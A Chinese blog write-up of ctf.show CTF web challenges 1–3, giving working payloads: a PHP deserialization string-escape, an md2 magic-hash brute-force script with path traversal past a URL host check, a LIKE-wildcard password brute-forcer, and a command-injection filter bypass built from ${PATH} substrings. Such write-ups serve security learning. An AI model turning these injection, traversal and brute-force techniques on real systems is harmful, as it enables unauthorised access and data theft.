【原创 超详细】ctf.show月饼杯——web1-3

签到就完事了

第一次做比较正规的题,虽然只做出一道,但成就感还是满满的

[huayang]web1_此夜圆

打开环境发现已提供源代码

<?php
error_reporting(0);
class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;
			}
			else
			{
				echo 'wrong password';
			}
		}
	}
function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

进入环境

审计

第一个禁用了报错

第二个是魔法函数

第三个我们看见判断失败后的输出也就是页面,并且知道当password强等于yu22x时可以打开flag.php的文件

这一段全是核心

利用1进行访问

过滤序列化字符串应该就是逃逸

以此构建一下我们想要的代码

主要查看序列化后的信息

用以查看最后password到底出了个啥

构建payload

“;s:8:”password”;s:5:”yu22x”;}

一共有30位

接下来我们看到这里

我们输入一下Firebasky会发生什么

经过序列化后多出了两个字符

我们就利用此特性进行逃逸

上面已知payload有30个字符而我们每次输入Firebasky可以逃逸出两个字符

所以我们需要输入15个Firebasky即可

试试看

成功逃逸

flag

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

上课时写的不是很清晰,以后会修改

web2_故人心

 <?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host);
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

绕过a

(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)

php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
也就是 0.00000…1(小数点后161个0)到0.00000…1(小数点后322个0)会同时满足is_numric($a) and $a!=0 and $a**2==0
但是长度会受限制。那我们可以用科学计数法来代替,即 1e-162 到 1e-323

绕过b,c

($b==hash(“md2”, $b)) && ($c==hash(“md2”,hash(“md2”, $c)))

这里不能直接用数组绕过

附上师傅的脚本


<?php
for($i=0;$i<99999;$i++){
    $x1=hash("md2", '0e'.$i.'024452');
    if(substr($x1,0,2)==='0e'  and is_numeric($x1)){
        break;
    }
}
for($j=0;$j<999999;$j++){
    $x2=hash('md2',hash("md2", '0e'.$j.'48399'));
    if(substr($x2,0,2)==='0e'  and is_numeric($x2)){
        break;
    }
}
print('b=0e'.$i.'024452&c=0e'.$j.'48399');
?>

绕过url

php会将不认识的协议当作目录
payload:url=a://ctfshow.com/../../../../../fl0g.txt
对于payload a:为一个目录 ctfshow.com为1个目录
因为当前目录为/var/www/html,如果要跳到根目录需要向上跳3阶,再加上不存在的两个,共需要跳五阶目录

羽师傅写得太好了就大部分抄一下

最后flag

get:
?a=1e-162&b=0e652024452&c=0e603448399
post:
url=a://ctfshow.com/../../../../../fl0g.txt

web3_莫负婵娟

查看源代码可以看见模糊查询like和用户名

like模糊查询可以使用%匹配多个字符,_匹配单个字符。
尝试后发现%被过滤,不过下划线(_)并没有被过滤

like 模糊匹配
% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
[ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符
[^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符
* 它同于DOS命令中的通配符,代表多个字符
?同于DOS命令中的?通配符,代表单个字符
# 大致同上,不同的是代只能代表单个数字

写个脚本用bp跑一下

a = ''
b = '_'
for i in range(100):
    a += b
    print(a)

假设密码应该最多100位

可以知道长度为32位

我们登录一下

可以看见正确的页面

错误信息即可看见这个画面

以此构建我们的脚本

import requests,string
chars = string.digits + string.ascii_letters #其中ascii_letters是生成所有字母,从a-z和A-Z,digits是生成所有数字0-9.
url = 'http://05ea1aae-f75a-4358-a056-b996a6c859f2.chall.ctf.show//login.php'
passwords = ''
for x in range(32):
    for i in chars:
        password = passwords + i + (31 - x) * '_'
        data = {'username':'yu22x','password':password}
        response = requests.post(url,data=data)
        if 'wrong' not in response.text:
            passwords += i
            print(passwords)
            break
print('---------------------------------------------','\n',passwords)

注:

这里还有一个点,就是判断in和not in的时候会出现差别

看看in

我也在群里问了一下

登录过后

爆破一下看看有哪些可用

基本可以看见大写数字{ },空格,$,~等可以用

这里就要拥到kali了

使用其linux系统进行操作

这里要用到的是PATH截断

这里还有个点非常重要一定要进入root!!!!!!!!!

不然截断会不一样

你看:

下面进行截断

首先要看falg文件名所以就要截个ls

这里说一下${PATH:5:1}

5表示从左到右第五位但是是从第6位开始读取

1表示读取的总位数

所以这句就是从左到右第6位开始读取位数为1位

带进去看看

完美

最后选取用nl打开cat毕竟多一位

payload
0;${PATH:14:1}${PATH:5:1} ????????

?匹配单个字符

爽!!![/huayang]

==>转载请注明来源哦<==

评论

  1. 华扬 博主
    9月前
    2021-2-25 23:55:58

    康康

  2. 妮妮
    11月前
    2021-1-23 10:49:08

    看看

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇